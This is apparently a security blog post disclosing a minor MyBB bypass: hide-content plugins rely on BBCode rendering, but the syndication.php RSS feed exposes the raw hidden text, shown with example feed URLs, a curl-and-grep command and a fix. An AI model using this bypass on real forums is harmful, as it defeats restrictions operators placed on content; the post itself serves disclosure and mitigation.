Lame 0day #1 - MyBB Hidden Content Bypass

2021-07-24

Starting a series of low-impact findings that are too minor for a CVE but still worth documenting. First up: reading hidden content on MyBB forums without meeting the requirements.

Background

MyBB is open-source forum software. Many forums use plugins that hide content behind requirements - post count thresholds, registration, credit systems, or "thank" buttons. The content is wrapped in BBCode tags like [hidden] or [hidecontent] and only rendered for qualifying users.

The problem: MyBB's built-in RSS feed feature exports post content as raw text inside XML CDATA blocks. BBCode is not processed in this context. The hiding logic only runs during HTML rendering.

The bypass

Every MyBB forum exposes RSS feeds at predictable URLs:

# Forum-wide feed
https://forum.example.com/syndication.php

# Specific forum section
https://forum.example.com/syndication.php?fid=13

# Increase limit (default is 15)
https://forum.example.com/syndication.php?fid=13&limit=50

Open the feed in a browser or fetch it with curl. Search the XML for the BBCode tags used by the hiding plugin:

curl -s "https://forum.example.com/syndication.php?limit=50" | grep -i "hidden"

You will see raw BBCode in the CDATA blocks:

<description><![CDATA[
Here is the download link:

[hidden]https://mega.nz/file/xxxxx[/hidden]

Let me know if you have issues.
]]></description>

The content between [hidden] and [/hidden] is fully visible. No registration, no post count, no credits needed.

Scope

This affects MyBB installations using any plugin that relies on BBCode-level content hiding, including:

MyBB Hide Content plugin
Thank You/Like plugins with hidden content features
Credit-based content plugins
Post count requirement plugins

It does not affect forums where the hidden content is stored in a separate database table and only injected during rendering (some premium plugins work this way). It also does not work if the admin has disabled RSS feeds.

Fix

If you run a MyBB forum: either disable RSS feeds in ACP, or install a plugin that strips BBCode tags from syndication output. The core MyBB team considers this a plugin-level issue rather than a core vulnerability, which is fair.

Impact is low - this is information disclosure of content that the forum operator intended to restrict but not truly protect. Hence "lame 0day."